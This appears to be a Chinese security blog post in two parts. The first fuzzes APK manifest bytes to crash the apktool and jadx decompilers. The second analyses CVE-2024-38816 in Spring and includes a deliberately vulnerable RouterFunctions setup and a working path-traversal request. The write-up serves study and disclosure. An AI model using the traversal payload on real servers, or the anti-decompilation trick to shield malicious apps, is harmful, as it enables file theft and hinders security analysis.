使用python获取apktool的运行结果,为啥这里写的这么复杂是因为apktool的运行结果直接获取不到,需要Press any key to continue . . .
需要获取实时的运行流才可以确认结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def apktoolDecode() -> bool:
"""
获取apktool的扫描结果
:rtype: object
True 扫描出错
False 扫描成功
"""
apktool_cmd = f"apktool d -f {sign_name} "
process = subprocess.Popen(apktool_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 定义一个标志位来表示命令是否已经执行完成
command_completed = threading.Event()

def handle_output(stream, prefix):
for line in stream:
print(f"{prefix}: {line.strip()}")
command_completed.set() # 设置标志位,表示命令已完成

stderr_thread = threading.Thread(target=handle_output, args=(process.stderr, "STDERR"))
stderr_thread.start()
timeout_seconds = 5
command_completed.wait(timeout_seconds)

if not command_completed.is_set():
process.terminate()
return False
else:
process.terminate()
return True

遇到解析不了的APK的时候就会返回True,正常解析的就会返回False

image

优化

简单计算一下会有多少种可能性,前面提到过该文件有2308个字节,一个字节修改范围为 0x00 - 0xFF,即256,所以一共有590848种可能性,如果是单线程运行的话需要八百多个小时

image

蒽….
考虑已知的干扰位置,我们对每一个字节的修改范围变成下面两种可能来缩减范围:

  • 0x00 比如魔数,把 0x03修改为了0x00
  • 跟原本位置不同的数字,比如stringCount原来是0x23 我们修改为0x24

在这个基础上 可能性缩减到了4616

获取结果

在前面的思路上编写出脚本运行就可以了,能够造成apktool 2.9.0 干扰的位置有很多,但是有的位置修改了之后会导致手机也安装不上,出现错误

adb: failed to install .\app-debug.apk: Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION: Failed to parse /data/app/vmdl1242571071.tmp/base.apk: Corrupt XML binary file]

image

所以我们不仅要能够干扰apktool,还需要修改之后能够正常安装
在原来的基础上添加了自动签名代码

1
2
3
4
def signApk():
subprocess.run(
['jarsigner', '-verbose', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', "./spring.keystore",
'-storepass', "123456", '-keypass', "123456", '-signedjar', "sign.apk", "./app-debug.apk", "spring"])

验证是否能正常安装代码

1
2
3
4
5
6
def installApp():
adb_install_cmd = f'adb install {sign_name}'
result = os.system(adb_install_cmd)
if result == 0:
return True
return False

跑了一会fuzz脚本之后就出现了结果,这里给出一个apktool2.9.0的干扰结果
在String Offsets数组里面(存储每个字符串在字符串池中的相对偏移量),修改0X00000198为0X00005098,为什么是这个值,这里只是找一个能让数组越界的下标值,因为fuzz出来是这个我就填这个了

image

修改之后

image

保存后重新打包成zip,并且签名
安装和运行没问题

image

image

使用apktool 2.9.0 进行反编译,反编译失败

image

jadx对抗

本来准备结束了,Red256问我能不能对抗jadx

image

因为没有遇到我(吐舌

使用jadx最新版本1.4.7,设置前面给出的干扰位置,把重新压缩的APK丢到jadx里面

image

AndroidManifest.xml解析失败,对抗成功
给APK签名后检查能否安装

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ./spring.keystore -storepass 123456 -keypass 123456 -signedjar sign.apk ./app-debug.apk spring

安装成功

image

小结

对于文件有增删查改四种操作,除了查操作之外,其他的三种操作都有机会对抗反编译软件,本篇也只是对改操作里面的单位操作进行了fuzz分析,除单位之外,还可以进行两位、三位….的修改,组合的情况也就更多了

具体为什么反编译软件会出现报错,我们查看反编译软件的报错

apktool报错

image

jadx-gui报错

image

其实都是指向同一个问题

java.lang.ArrayIndexOutOfBoundsException

查看apktool源代码,具体位置在

1
2
3
4
5
6
7
8
9
10
11
12
private static int[] getUtf16(byte[] array, int offset) {
int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

if ((val & 0x8000) != 0) {
int high = (array[offset + 3] & 0xFF) << 8;
int low = (array[offset + 2] & 0xFF);
int len_value = ((val & 0x7FFF) << 16) + (high + low);
return new int[] {4, len_value * 2};

}
return new int[] {2, val * 2};
}

错误在这一行

int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

所以是传入的恶意偏移量导致了数组越界产生了异常并退出

参考链接

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fnWebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

WebFlux 是 Spring 5 中引入的模块,专门用于构建异步、非阻塞的 web 应用,适合于高并发和 I/O 密集型的场景。WebFlux 基于反应式编程模型,允许应用在处理请求时不阻塞线程,从而提高了性能。

RouterFunctions 和 FileSystemResource

RouterFunctions

RouterFunctions 是Spring WebFlux的一部分,它提供了一种函数式编程模型来定义请求路由和处理。使用 RouterFunctions,你可以创建一个路由,它将HTTP请求映射到处理这些请求的函数上。

FileSystemResource

FileSystemResource 是Spring框架中的一个类,它表示文件系统中的一个资源,通常用于读取和写入文件。它实现了 org.springframework.core.io.Resource 接口。

环境搭建

这里就用webflux来举例子

首先选择spring的版本,只需要在影响版本里面的就好了

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

然后因为要满足

当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

可以问问gpt啥的

image

创建一个漏洞代码

1
2
3
4
5
6
7
@Configuration
public class Config {
@Bean
public RouterFunction<ServerResponse> test() {
return RouterFunctions.resources("/static/**", new FileSystemResource("D:/phpstudy_pro/WWW/"));
}
}

漏洞复现

首先我们在D盘放一个文件,用于测试

在1.txt写入flag{scueess}

然后尝试访问路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /static/%5c/%5c/../../1.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

image

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类,如何修复的先不关心,当然如果很明显就可以更快,我们把关键方法给打个断点慢慢看一看,然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理,会来到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException var5) {
throw new UncheckedIOException(var5);
}
} else {
return Mono.empty();
}
}
}

首先是从pathContainer.value()获取path,然后由processPath处理

image

processPath方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816